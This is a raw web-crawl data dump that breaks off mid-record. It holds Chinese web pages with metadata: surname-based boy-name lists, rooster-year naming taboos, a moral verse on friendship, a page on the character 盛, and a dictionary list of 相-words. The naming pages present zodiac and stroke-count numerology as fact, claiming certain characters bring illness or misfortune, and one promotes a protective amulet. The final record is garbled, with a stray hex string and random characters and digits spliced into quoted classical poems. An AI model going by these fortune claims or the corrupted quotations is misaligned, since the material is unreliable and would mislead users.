秦創昭 秦春格 秦春貫 秦春過 秦春櫟 秦春箏 秦淳儲 秦淳刊 秦淳行 秦淳禹 秦綽良 秦綽灶 秦磁顥 秦磁龍 秦磁業 秦磁毅 秦聰崗 秦聰渙 秦聰陌 秦聰武 秦聰衷 秦驄弦 秦驄尹 秦驄遠 秦驄詮 秦存賓 秦存昆 秦存聞 秦存暉 秦代敖 秦代戴 秦代季 秦代劍 秦代謹 秦岱健 秦岱南 秦岱然 秦岱庭 秦島佰 秦島銘 秦島衷 秦道樊 秦道涵 秦道翰 秦道文 秦德夫 秦德過 秦德冕 秦德業 秦登才 秦登徽 秦登冕 秦登南 秦登泳 秦登兮 秦笛季 秦笛艦 秦笛立 秦笛粱 秦笛毅 秦笛泳 秦笛禺 秦笛鏢 秦蒂瑞 秦蒂現 秦蒂懌 秦迭楚 秦東當 秦東杭 秦東邑 秦東榆 秦東雨 秦東潯 秦東寰 秦冬崍 秦冬翼 秦冬旨 秦兌壕 秦兌衷 秦兌濠 秦發波 秦發健 秦帆搏 秦帆道 秦帆衡 秦帆弘 秦番昆 秦番值 秦番洵 秦樊戴 秦樊含 秦樊振 秦范靜 秦范湃 秦范梧 秦范諺 秦范譽 秦范嵩 秦楓菊 秦楓圍 秦蜂創 秦蜂威 秦蜂菘 秦蜂戟 秦烽廣 秦烽絢 秦服道 秦服管 秦服杭 秦服家 秦服簡 秦服倫 秦服巍 秦甫鈞 秦甫鷺 秦甫升 秦甫茁 秦甫禪 秦傅淮 秦傅良 秦傅士 秦傅堂 秦傅羨 秦阜澈 秦阜干 秦阜火 秦阜炫 秦概洱 秦概鷗 秦剛堂 秦鋼旋 秦鋼瑭 秦崗涵 秦崗敏 秦崗中 秦崗潯 秦高綽 秦高徑 秦高水 秦高暉 秦歌戈 秦歌克 秦歌來 秦歌毅 秦歌子 秦歌杞 秦鴿懷 秦鴿經 秦鴿競 秦鴿克 秦鴿立 秦鴿聲 秦鴿堂 秦鴿添 秦鴿子 秦更爵 秦更歐 秦更巖 秦功聰 秦功杭 秦供揚 秦供苕 秦供瓚 秦供昶 秦弓敖 秦弓啟 秦鞏倫 秦鞏彰 秦鞏蕎 秦貢蜂 秦貢吉 秦貢士 秦貢琮 秦共奇 秦官簡 秦官靜 秦官莫 秦官喻 秦冠創 秦冠浩 秦冠亦 秦冠旨 秦冠圳 秦灌漠 秦灌騏 秦灌現 秦灌乙 秦灌彰 秦灌衷 秦貫鷺 秦貫渺 秦貫謄 秦貫瑋 秦廣涵 秦廣平 秦廣旨 秦廣衷 秦廣杞 秦廣箏 秦桂革 秦桂壕 秦桂鷹 秦國庚 秦國臻 秦韓聰 秦韓科 秦韓浦 秦韓述 秦韓垣 秦含谷 秦含礦 秦含躍 秦含櫟 秦涵組 秦涵琰 秦涵晗 秦寒敖 秦寒慷 秦寒壘 秦寒銓 秦寒添 秦寒巍 秦瀚玖 秦瀚寺 秦瀚爭 秦汗梆 秦汗波 秦汗充 秦汗寧 秦汗午 秦汗乙 秦汗詠 秦汗嶧 秦航傅 秦航園 秦航員 秦航琮 秦壕萊 秦壕守 秦壕形 秦壕早 秦壕尊 秦壕嶧 秦衡鶴 秦衡淮 秦衡均 秦衡淶 秦衡卯 秦衡權 秦衡俠 秦弘浚 秦弘崎 秦弘銓 秦弘禪 秦虎呈 秦虎僚 秦虎云 秦虎至 秦戶蟲 秦戶蜂 秦戶迦 秦戶琨 秦華根 秦華函 秦華克 秦華尹 秦華詠 秦華涌 秦畫然 秦畫士 秦畫熙 秦畫灼 秦化過 秦化獎 秦化崳 秦話刊 秦話羽 秦話涇 秦槐賀 秦槐槐 秦槐屹 秦槐勻 秦槐杪 秦淮鋼 秦淮粱 秦環庚 秦環環 秦環玖 秦環鳴 秦環桃 秦環爻 秦桓福 秦桓嶸 秦桓恕 秦桓享 秦桓昭 秦桓爭 秦桓至 秦回鎮 秦回晟 秦會菠 秦會冬 秦匯寺 秦匯瓚 秦基粱 秦基絢 秦基右 秦基虞 秦激夫 秦激瑤 秦激涌 秦激琨 秦吉賀 秦吉廷 秦吉運 秦吉琨 秦吉晟 秦極集 秦極敏 秦極昭 秦極征 秦極岷 秦極嶧 秦計槐 秦計集 秦計盟 秦計時 秦紀滄 秦紀宮 秦紀攀 秦紀悟 秦嘉肖 秦嘉俞 秦佳鴻 秦佳簡 秦佳槳 秦佳浦 秦佳旗 秦佳詮 秦加淮 秦加樂 秦加渝 秦賈粱 秦賈其 秦賈添 秦賈鎮 秦堅田 秦堅形 秦堅譽 秦堅員 秦兼爻 秦建覽 秦建普 秦建享 秦建友\n2017屬雞秦姓男孩取名宜忌\n屬雞寶寶取名宜用字:\n1、宜用\"禾\"、\"豆\"、\"米\"等字。雞是吃五谷雜糧的,名字里加入這些字,寓意著糧食豐盛,不缺吃穿,福壽無邊。\n2、宜用帶\"山\"的字。雞在山頭上,升格為鳳凰,代表著具有智慧、事業有成。\n3、宜用帶有\"鄉\"、\"采\"、\"纟\"偏旁的字。雞的羽毛漂亮,披錦戴冠,傳統認為可以增加運勢,前途廣闊,名利雙收。\n4、起名宜用有\"金雞獨立\"字形的字。\"金雞獨立代表雞很健康,有活力。起名時用上這些字,寓意著智勇雙全,有所作為。比如:中、華、率、節、本。雞年新生兒起名可以取華生、忠信等。\n5、起名宜用抬頭的字形。雞昂首闊步代表健康,名字中能加入抬頭的字,寓意著增加福氣,健康順利。比如:有、右、存、白。\n6、宜用帶寶蓋頭的字。帶寶蓋頭的字,寓意著有屋有宅,福祿雙全。\n7、起名宜用有\"巳\"、\"丑\"、\"辰\"的字。酉(雞)與辰(龍)為六合,與巳(蛇)、丑(牛)為三合,名字中加入這些字,寓意著有貴人幫助,萬事順利。\n屬雞寶寶取名忌用字:\n1、屬雞之人最怕見到與其對沖之字形,因雞為酉,卯與酉對沖,所以凡是有\"卯\"之字形或字義均不可犯之。如犯之,則傷害大,刑傷、生病難免。卯之字義可推及東方遼寧月,兔均屬之,因卯居東方,酉居西方,東酉對沖,所以有\"東\"、\"月\"、\"兔\"之字形也不可用。如:卯、柳、仰、昂、勉、逸、卿、東、棟、陳、月、朋、青、清、晴、勝、有、朗、望、朔、朝、期、本。\n2、屬雞之人不喜見到\"金\"之字形,因雞為酉金,但五行中,金與金組合過重,容易犯沖金屬殺伐之意,\"金\"之字意還有\"西\"、\"兌\"、\"申\"、\"秋\"、\"酉\"均屬之。如:金、釗、鈞、銘、銳、鋒、錢、鐘、鎮、秋。\n3、屬雞的人不喜見到有\"心\"、\"忄\"、\"月\"之字形,因以上字形代表一塊肉的意思,但雞為素食動物,不食葷肉,若給其肉食,會讓其心不服輸,不滿意,失望但又無可奈何。如:志、忸、忻、忠、念、怡、思、恒、恬、慧、態、懷、懿、肯、肴、胥、胡、能、修。\n4、屬雞之人不喜有\"大\"、\"君\"、\"帝\"、\"王\"字形,因雞長大往往被作祭品,或為人食用,一生多為別人付出多。如:奇、奏、奮、君、群、帝、玉、玫、玟、玳、珉、珊、珠、球琦、琪、琴、瑛、瑩、瑤、璞、環、瓊。\n5、屬雞之人不喜有字形腳分開者,因為雞的腳如果分開,代表病雞,不健康也,雞能夠金雞獨立最佳,不喜見到分叉的腳。如:文、亮、元、充、先、光、克、共、烘。\n6、屬雞之人不喜見到有\"犬\"、\"犭\"、\"戌\"字形,因\"犬\"與\"犭\"、\"戌\"為狗之意,因地支酉與戌為六害,古云:\"金雞遇犬淚雙流。\"意味著狗會追咬雞,雞犬不寧之意。如:狀、鍬、獅、猛、猶、猷、獨、獻、茂、成、盛、威。\n7、屬雞之人不宜見有太多\"口\"之名字,容易七嘴八舌。成為長舌婦,雞婆也,好管閑事,易生是非,及吃力不討好。如:品、容、蓉、呂、喜、嘉、高、器、歌。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.odfxhu.icu\/MZDQ\/CBW64744.html","date":"2020-07-06T16:28:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655881763.20\/warc\/CC-MAIN-20200706160424-20200706190424-00089.warc.gz","language":"lzh","language_score":0.9965791702,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.9965791702270508}","num_words":571,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.272,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"每個男孩子都是父母的寶貝,一般男寶寶父母都想給起個好聽大氣的名字,讓人聽著有內涵、有修養,還能襯托出男孩不凡的氣質,那么2019趙姓男孩好聽大氣的名字都有哪些呢?下面由起名網提供了一些比較好聽大氣的名字,大家可以來參考一下:\n趙姓男寶寶好聽大氣的名字\n趙文濤 趙文輝 趙海林 趙文鳳 趙國偉 趙英林 趙建鋒 趙建榮 趙海濱 趙建文 趙海兵 趙鵬程 趙鵬輝 趙東明 趙民君 趙國榮 趙洪亮 趙治國 趙文波 趙彬輝 趙建生 趙文俊 趙建勇 趙建良 趙文忠 趙英杰 趙驚鳴 趙文強 趙玉林 趙海斌 趙清華 趙海燕 趙紅偉 趙紅兵 趙紅星 趙建飛 趙家康 趙國明 趙國民 趙國鋒 趙玉峰 趙軍亮 趙海建 趙雪偉 趙江坤 趙子福 趙繼平 趙鵬成 趙平忠 趙萬成 趙海飛 趙紅松 趙佳寶 趙東旺 趙國元 趙浩峰 趙敏龍 趙紅源 趙波敏 趙樹君 趙啟喜 趙軍東 趙玉發 趙松良 趙樹全 趙福亮 趙清成 趙鵬英 趙斌江 趙啟全 趙軍進 趙雪紅 趙平君 趙子云 趙浩勝 趙江發 趙輝磊 趙景東 趙敏春 趙杰喜 趙濤兵 趙凱鑫 趙海根 趙興棟 趙景凱 趙軍彬 趙子玉 趙海洪 趙元生 趙萬偉 趙玉雷 趙杰順 趙輝輝 趙飛敏 趙克春 趙雪敏 趙廣喜 趙啟鑫 趙樹喜 趙佳志\n一個好的名字對人的一生有很大的影響,徐墨齋居士說過,只有符合自己命理的名字,才會對自己有益。比如你的寶寶是\"陰命木相人\",五行喜水、木,那么可以選用水、木屬性的字給寶寶起名,這樣取出來的名字才會對寶寶的成長起到幫扶的作用。如果家里條件允許的話,父母們可以給孩子佩戴一枚\"平安扣\"來驅邪免災、養身護體。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.5950204.live\/nanhai\/10502.html","date":"2020-07-07T23:30:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655895944.36\/warc\/CC-MAIN-20200707204918-20200707234918-00255.warc.gz","language":"lzh","language_score":0.742159903,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.742159903049469, \"nan_Hani_score\": 0.19485758244991302, \"cmn_Hani_score\": 0.0615466833114624}","num_words":103,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.727,"perplexity_score":500.0,"cluster_detection":1} +{"text":"九天玄女啟智真經:\n交友宜擇章~\n世人生存於社會 不能離群而獨立~\n日常生活之中 必需自助人助!\n朋友易交 擇善甚難~\n切須謹之以始 方免悔之於後!\n與仁人君子相親 必獲身家之益~\n與賭朋淫友共處 終貽末路之悲~\n與善人交 如蘭薰之香 一家栽之 兩家芬芳!\n與惡人交 如抱子過牆 一人失足 兩人遭殃!\n古云:近朱者赤 近墨者黑~\n近善者 得招幸福 近惡者 定遭災殃~\n與正氣之人雅契 所行盡正途之路!\n正直誠實 重義存仁 談道說玄 互勉修身~\n有福同享 有難同當 有過相勸 危難相救~\n自然德業日進 門庭益昌 是謂益友也!\n與放蕩之徒相交 出入則酒家茶室 或賭場菜館 或花街柳巷~\n不分晝夜 消耗精神 言無禮義 行無廉恥~\n奸詐相欺 臨危不救 見財忘義 從中取利~\n以致正業不顧 更貽父母之憂 是謂 損友也!\n朋友之交 宜別損益~\n不可輕諾寡信 致貽後悔也~\n結交益友 以輔吾仁 雅契賢士 以廣吾識~\n善則勸而過則規 每受切磋之益~\n而其品之高貴如芝蘭 氣相投而味相合 時收輔仁之功!\n而其心之堅貞如松柏 此道德之交 君子之流也~\n同聲相應 道同也 同氣相求 義合也!\n緩急相扶持 不以細故而易心 如管 鮑結同心之好~\n死生相顧念 士為知己而致命 如羊 左結生死之交~\n此信義之交 豪傑之流也!\n義氣之交 情同手足 凡遇患難 各宜相助~\n助人之善 成人之美 周急燃眉 當盡友誼~\n量力而行 不望其報 人能至此 獲福無窮~\n桃園結義 流芳萬古 以頌三聖 竹林契盟 佳話千秋 以傳七賢!\n人生塵世 交友宜慎~\n益友 損友 應知仔細選擇 庶幾有所得焉!\n~~~與眾靈兒共勉之~~~","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/aaa6642orz.pixnet.net\/blog\/post\/238010762","date":"2020-10-27T08:46:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107893845.76\/warc\/CC-MAIN-20201027082056-20201027112056-00621.warc.gz","language":"lzh","language_score":0.5960111022,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.5960111021995544, \"cmn_Hani_score\": 0.21956618130207062, \"nan_Hani_score\": 0.14832764863967896, \"jpn_Jpan_score\": 0.018580786883831024, \"yue_Hani_score\": 0.014522908255457878}","num_words":112,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.596,"perplexity_score":500.0,"cluster_detection":1} +{"text":"盛字的含義很多,用於姓名,多指興旺豐盛,亦指氣勢強烈。很多家長很喜歡給自家的男寶寶起一個含盛字的名字,那麼用盛字怎麼起名呢?盛字男孩名字有哪些呢?周易網下面的內容就能教你怎樣用盛字為寶寶取名。\n1、盛字起名基本含義\n1.興旺:興~。\n2.豐富,華美。\n3.熾烈,強烈:年輕氣~。\n4.廣泛,程度深。\n5.深厚。\n6.熱烈,規模大。\n7.姓。\n2、盛字起名的姓名學屬性\n拼音:shèng\n部首:皿\n簡體筆畫:11畫\n姓名筆畫:12畫\n繁體字:盛\n五行:火\n姓名學含義:用於姓名,多指興旺豐盛,亦指氣勢強烈。用於男孩名字,多喻意家業豐盛,氣勢強烈而有主見。\n3、名人用盛字起名\n李宗盛:歌手、音樂制作人、詞曲創作人、制琴師。樂壇天後梁靜茹的恩師。\n張漢盛:中美混血人氣童模,參演《小時代》及參加《中國新聲代》第二季。\n4、如何用盛字起名\n盛字在姓名學中是12畫,在81數理中代表家庭寂寞的凶惡數理。象征是掘井無泉,包含有家庭緣薄,孤苦無依等預意暗示。盛字的五行屬性是火,男寶寶的生辰八字如果喜用神五行屬火,便可用\"盛\"字起名,這樣不僅能幫扶命理,還能化解姓名中一些凶惡數理的喻意暗示。\n盛字起名多用於單字名、雙字名。起雙字名時,既可以將盛字放在名字的後面,也能把盛字放在名字的中間。寶寶起名的字詞音韻搭配要合理,如果名字有了著不雅的諧音,容易給他人帶來誤導。\n舉例參考\n盛輝 鵬盛 盛治 嘉盛 知盛 盛雅 信盛 宏盛 盛業 宇盛 盛怡 盛豐 明盛 俊盛\n相關起名用字\n向 亮 天 澤 洪 容 茂 超 江 永 林 進 功 世 翰 英 玄 自\n5、帶盛的男孩名字參考大全\n盛字開頭的名字\n盛柏 盛堡 盛筆 盛陛 盛表 盛渤 盛才 盛財 盛測 盛昌 盛常 盛敞 盛辰 盛城 盛呈 盛磁 盛從 盛達 盛帶 盛代 盛道 盛迪 盛第 盛帝 盛典 盛爾 盛繁 盛岡 盛戈 盛工 盛恭 盛管 盛含 盛豪 盛浩 盛河 盛褐 盛衡 盛鴻 盛洪 盛弘 盛戶 盛皇 盛匯 盛火 盛冀 盛甲 盛堅 盛簡 盛劍 盛近 盛鯨 盛景 盛競 盛玖 盛竣 盛卡 盛凱 盛康 盛懇 盛快 盛赉 盛欄 盛瀾 盛郎 盛雷 盛犁 盛漓 盛力 盛粱 盛量 盛駱 盛絡 盛瑪 盛棉 盛廟 盛名 盛摩 盛睦 盛沐 盛苜 盛奈 盛檸 盛鷗 盛磐 盛龐 盛彭 盛普 盛七 盛僑 盛欽 盛秋 盛權 盛泉 盛券 盛仁 盛榮 盛儒 盛若 盛沙 盛山 盛善 盛韶 盛申 盛生 盛實 盛始 盛世 盛誓 盛殊 盛帥 盛栓 盛思 盛四 盛桃 盛銻 盛天 盛通 盛望 盛未 盛蔚 盛尉 盛文 盛武 盛析 盛俠 盛仙 盛現 盛響 盛蕭 盛校 盛肖 盛嘯 盛笑 盛鑫 盛休 盛修 盛旋 盛玄 盛泫 盛炎 盛硯 盛彥 盛揚 盛陽 盛冶 盛壹 盛銥 盛乙 盛毅 盛誼 盛譯 盛翼 盛銀 盛寅 盛迎 盛影 盛穎 盛湧 盛由 盛佑 盛榆 盛予 盛嶼 盛宇 盛郁 盛喻 盛勻 盛韻 盛在 盛早 盛瞻 盛綻 盛祯 盛爭 盛祉 盛洲 盛專 盛莊 盛自 盛诤 盛荻 盛峄 盛嵛 盛浔 盛淅 盛濡 盛宸 盛骐 盛缇 盛玮 盛琮 盛杪 盛桦 盛轼 盛歆 盛斐 盛旌 盛淼 盛霏\n盛字結尾的名字\n岸盛 遨盛 翱盛 奧盛 澳盛 白盛 寶盛 冰盛 炳盛 材盛 艙盛 滄盛 常盛 敞盛 潮盛 澄盛 池盛 弛盛 蟲盛 詞盛 骢盛 帶盛 道盛 殿盛 鼎盛 爾盛 法盛 番盛 豐盛 傅盛 岡盛 戈盛 古盛 觀盛 貫盛 過盛 函盛 焊盛 好盛 賀盛 鴻盛 環盛 積盛 季盛 賈盛 建盛 金盛 進盛 京盛 徑盛 競盛 居盛 炬盛 軍盛 俊盛 郡盛 駿盛 快盛 款盛 匡盛 葵盛 崃盛 籃盛 籬盛 漓盛 歷盛 瀝盛 連盛 亮盛 寥盛 菱盛 六盛 隆盛 祿盛 律盛 懋盛 卯盛 蒙盛 莫盛 默盛 苜盛 年盛 念盛 佩盛 鵬盛 評盛 齊盛 颀盛 企盛 啟盛 契盛 謙盛 秦盛 勤盛 慶盛 壬盛 融盛 潤盛 杉盛 升盛 時盛 始盛 世盛 是盛 曙盛 述盛 爽盛 水盛 舜盛 寺盛 桃盛 謄盛 廷盛 同盛 童盛 望盛 巍盛 唯盛 惟盛 偉盛 梧盛 伍盛 晰盛 錫盛 習盛 銑盛 夏盛 銜盛 弦盛 項盛 薪盛 信盛 醒盛 休盛 秀盛 緒盛 汛盛 迅盛 巖盛 顏盛 演盛 硯盛 諺盛 亦盛 庸盛 詠盛 友盛 於盛 愉盛 遇盛 預盛 擇盛 樟盛 彰盛 真盛 祯盛 箴盛 征盛 政盛 執盛 值盛 中盛 洲盛 綜盛 尊盛 侃盛 诤盛 勖盛 荛盛 莳盛 弈盛 奕盛 岑盛 怿盛 淇盛 淞盛 玺盛 瑾盛 韪盛 杞盛 桦盛 梵盛 楠盛 轼盛 晟盛 晔盛 晗盛 斐盛 旌盛 烨盛 淼盛 砺盛 罡盛 铄盛 铉盛 笙盛 粼盛 雳盛 霈盛 向盛 弘盛 萬盛 世盛 業盛 叢盛 東盛 中盛 義盛 之盛 樂盛 亨盛 亮盛 仁盛 會盛 偉盛 伯盛 俊盛 保盛 信盛 健盛 元盛 先盛 光盛 全盛 興盛 軍盛 冠盛 凱盛 剛盛 創盛 利盛 力盛 功盛 勇盛 華盛 博盛 厚盛 友盛 發盛 可盛 啟盛 和盛 哲盛 善盛 固盛 國盛 地盛 堅盛 壯盛 聲盛 天盛 奇盛 子盛 學盛 寧盛 宇盛 宏盛 家盛 富盛 山盛 巖盛 岳盛 峰盛 平盛 廣盛 慶盛 康盛 延盛 強盛 彪盛 彬盛 德盛 必盛 志盛 忠盛 悅盛 成盛 才盛 承盛 振盛 政盛 敦盛 敬盛 文盛 斌盛 新盛 方盛 昌盛 明盛 星盛 景盛 有盛 朋盛 朗盛 傑盛 松盛 林盛 楓盛 柏盛 標盛 棟盛 桂盛 梁盛 榕盛 樊盛 武盛 毅盛 民盛 永盛 江盛 河盛 波盛 澤盛 洪盛 浩盛 海盛 濤盛 炎盛 炳盛 煌盛 琛盛 生盛 登盛 磊盛 祥盛 福盛 秉盛 策盛 紹盛 維盛 群盛 翰盛 勝盛 能盛 騰盛 航盛 良盛 英盛 茂盛 榮盛 蜂盛 裕盛 觀盛 言盛 誠盛 謙盛 豪盛 貴盛 超盛 躍盛 輪盛 輝盛 達盛 進盛 邦盛 鈞盛 鉑盛 錦盛 雄盛 震盛 順盛 風盛 飛盛 高盛 鳴盛 鴻盛 鼎盛 龍盛","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/www.3322.online\/quming\/qmdq\/201612\/30435.html","date":"2020-12-04T13:34:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141737946.86\/warc\/CC-MAIN-20201204131750-20201204161750-00261.warc.gz","language":"lzh","language_score":0.6632312536,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6632312536239624, \"nan_Hani_score\": 0.24762316048145294, \"yue_Hani_score\": 0.0769081562757492, \"cmn_Hani_score\": 0.01210350263863802}","num_words":628,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.304,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.694,"perplexity_score":500.0,"cluster_detection":1} +{"text":"展開全部 為您奉上: 相機觀變 相機行事 相跡 相基 相及62616964757a686964616fe59b9ee7ad9431333361326334 相極 相疾 相輯 相幾 相際 相濟 相繼 相家 相戛 相戞 相甲 相假 相奸 相堅兆嘩 相間 相兼 相煎 相煎何急 相煎太急 相見 相見恨晚 相見恨晩 相見歡(無言獨上西樓) 相見無日 相將 相交 相交有年 相角 相腳頭 相叫 相接 相結 相結合 相借 相矜 相盡 相近 相進 相經 相驚伯有 相競 相敬如賓 相糾 相摎 相樛 相救 相就 相距 相聚 相捐 相絕 相君 相看 相抗 相克 相克現象 相克相濟 相夸 相況 相窺 相暌 相藍 相籃 相類 相類相從 相離 相禮 相里 相厲 相吏 相麗 相戾 相儷 相冊 相廁 相察 相差 相差無幾 相攙 相禪 相長 相朝 相吵 相臣 相襯 相稱 相趁 相成 相承 相乘 相持 相持不下 相齒 相仇 相儔 相疇 相酬 相讎 相出 相出沒 相杵洞猜含 相處 相傳 相船 相次 相佽 相從 相湊 相促相桚 相存 相錯 相打 相待 相待而成 相待如賓 相當 相蕩 相導 相道 相得 相得甚歡 相得無間 相得益章 相得益彰 相等 相敵 相抵 相地 相地家 相踶 相吊 相動 相度 相對 相對分子質量 相對論 相對剩余價值 相對濕度 相對速度 相對無言 相對誤差 相對新亭 相對壓強 相對與絕對 相對原子質量 相女配夫 相嘔 相納笑偶 相耦 相配 相朋 相碰 相匹 相片 相偏 相品 相婆 相撲 相撲人 相撲手 相樸人 相圃 相戚 相門 相門出相 相門灑埽 相門相種 相門有相 相蒙 相靡 相覓 相面 相面先生 相命 相繆 相摩 相磨 相牟 相侔 相謀 相墓 相墓工 相墓術 相慕 相難 相能 相昵 相鳥 相嬲 相輔相成 相父 相附 相副 相干 相竿摩 相感 相隔 相跟 相工 相公 相公(xiàng-) 相公鹺 相公堂子 相公竹 相共 相顧 相顧失色 相乖 相關 相觀 相規 相袞 相國 相國寺 相國莊 相過 相醢 相好 相合 相合日 相和 相和歌 相衡 相后 相厚 相候 相互 相互尊重 相護 相歡 相喚 相徽 相會 相渾 相混 相溷 相譏 相擊 相機 相機而動 相機而行 相機而言 相連 相連愛 相憐 相憐愛 相戀 相繚 相料 相埒 相鄰 相臨 相凌 相陵 相留 相柳 相祿 相率 相亂 相倫 相輪 相麻 相馬 相期 相欺 相契 相嵌 相強 相誚 相切相磋 相挈 相親 相親相愛 相輕 相傾 相求 相驅 相趨 相去 相去幾何 相去天淵 相去無幾 相去懸殊 相去咫尺 相覷 相權 相勸 相然 相嚷 相讓 相攜 相信 相星 相刑 相行 相形 相形見絀 相形見拙 相形失色 相胥 相須 相須而行 相須為命 相需 相許 相呴相濟 相呴相濡 相呴以濕 相序 相勖 相續 相喣沫 相喣以沫 相宣 相懸 相謔 相尋 相迿 相遜 相亞 相迓 相沿 相沿成俗 相沿成習 相掩 相驗 相猒 相央 相羊 相佯 相徉 相繇 相要 相爺 相業 相一 相依 相依為命 相揖 相資 相訾 相字 相宗 相捽 相左 相坐 相儀 相詒 相宜 相疑 相倚為強 相憶 相異 相挹 相翼 相因 相因相生 相印 相印法 相應 相攖 相盈 相贏 相映 相映成趣 相用 相優 相攸 相尤 相猶 相猷 相友 相佑 相于 相娛 相與 相與為一 相與一口 相語 相御 相遇 相援 相遠 相怨 相約 相悅 相越 相雜 相賊 相憎 相軋 相宅 相仗 相杖 相招 相者 相枕 相爭 相蒸 相諍 相支 相知 相知恨晚 相知恨晩 相知有素 相直 相值 相制 相質 相窒 相中 相踵 相重 相周 相赒 相屬 相助 相莊 相莊如賓 相狀 相撞 相準 相斫書 相著 相愛 相安無事 相安相受 相拜 相板 相半 相伴 相邦 相幫 相幇 相傍 相謗 相保 相報 相背 相倍 相悖 相逼 相逼 相比 相斃 相敝 相獘 相表 相表里 相別 相賓 相柄 相并 相伯仲 相搏 相薄 相步 相猜 相參 相叅 相對運動 相對真理 相厄 相戹 相惡 相發 相伐 相閥 相法 相煩 相反 相反數 相反相成 相返 相犯 相飯 相方 相妨 相仿 相仿相效 相彷 相放 相分 相紛 相風 相風使帆 相風銅烏 相逢 相逢恨晚 相逢恨晩 相逢狹路 相孚 相扶 相符 相府 相輔 相輔而行 相罵 相罵榜 相賣 相貿 相貌 相貌堂堂 相浼 相饒 相擾 相人 相人偶 相忍為國 相刃 相認 相仍 相容 相如 相如草 相如渴 相如臺 相如檄 相濡沫 相濡相呴 相濡以沫 相濡以澤 相入 相若 相殺 相善 相嬗 相傷 相商 相上 相尚 相涉 相生 相生現象 相生相成 相生相克 相聲 相勝 相失交臂 相師 相時 相時度力 相時而動 相識 相矢 相士 相事 相視 相視而笑 相視而笑,莫逆于心 相視莫逆 相視失色 相室 相是 相簭 相首 相受 相授 相書 相孰 相熟 相鼠 相鼠有皮 相術 相帥 相帥成風 相水火 相說 相司 相思 相思病 相思草 相思木 相思曲 相思樹 相思業 相思債 相思子 相死 相似 相似圖形 相似相溶規則 相隋 相隨 相臺 相態 相探 相提并論 相提而論 相體 相體裁衣 相天 相停 相挺 相通 相同 相投 相圖 相推 相托 相外 相萬 相王 相忘 相忘鱗 相忘形骸 相望 相為 相為表里 相為命 相違 相維 相尾 相位 相位差 相位角 相謂 相聞 相問 相烏 相迕 相晤 相希 相習 相習成風 相習成俗 相襲 相媳婦 相璽 相系 相狎 相下 相嚇 相先 相銜 相縣 相翔 相向 相像 相肖 相効 相校 相偕www.odisxu.buzz*??*?\n注音\nxiāng jiū ㄒㄧㄤ ㄐㄧㄨ\n相樛\n解釋\n亦作\" 相摎 \"。亦作\" 相繆 \"。相互纏結;糾纏在一起。 唐 杜甫 《乾元中寓居同谷縣作歌》之六:\"南有龍兮在山湫,古木巃嵸枝相樛。\" 唐 韓愈 《別知賦》:\"山磝磝其相軋,樹蓊蓊其相摎。\" 宋 蘇軾 《卻鼠刀銘》:\"文如連環,上下相繆。\" 宋 朱熹 《下山》詩:\"綠樹枝相樛,白澗石齒齒。\"\n展開全部枝蔓 枝蔓 zhī màn (1).枝條來和藤蔓。唐·杜甫自《解2113悶》詩之十一:\"翠瓜碧5261李沉玉甃,赤梨葡萄寒露成。4102可1653憐先不異枝蔓,此物娟娟長遠生。\" 唐·白居易《泛湓水》詩:\"青蘿與紫葛,枝蔓垂相樛。\" (2).比喻牽連,株連。《舊唐書·劉瞻傳》:\"兩家宗族,枝蔓盡捕三百余人。\" 宋·歐陽修《論燕度勘滕宗諒事張皇太過札子》:\"傳聞燕度勘鞫滕宗諒事,枝蔓勾追,直得使盡邠州諸縣枷杻。所行栲掠,皆是無山首滑罪之人。\"《金史·外國傳下·高麗》:\" 斜葛不能聽訟,每一事輒至枝蔓,民頗苦之。\" (3).比喻冗詞贅句。明·張居正《進講章疏》:\"訓解未瑩者,增改數語;枝蔓不切者,即行刪除。\" 清·黃宗羲《<翁元鎧禪師語錄>序》:\"出其語錄讀之,絕去枝蔓,獨露真常。\" (4).喻繁冗,不簡潔。 魯迅《中國小說史略》第芹旦九篇:\"惟著述逗臘本意,或在顯揚幽隱,非為傳奇,特以行文枝蔓,或拾事瑣屑,故后人亦每以小說視之。\" 多音字:màn :蔓延 wàn :藤蔓*展開全部意思是那些樹的枝條低垂,相互盤纏。樛:絞結,盤纏*www.odisxu.buzz*?*?\n聲明:本網內容旨在傳播知識僅供參考,不代表本網贊同其觀點,文字及圖片版權歸原網站所有。","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/www.odisxu.buzz\/b\/1719\/iw17198102.html","date":"2021-01-21T04:05:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703522242.73\/warc\/CC-MAIN-20210121035242-20210121065242-00576.warc.gz","language":"lzh","language_score":0.6149665117,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6149665117263794, \"nan_Hani_score\": 0.22490014135837555, \"cmn_Hani_score\": 0.1362120658159256, \"wuu_Hani_score\": 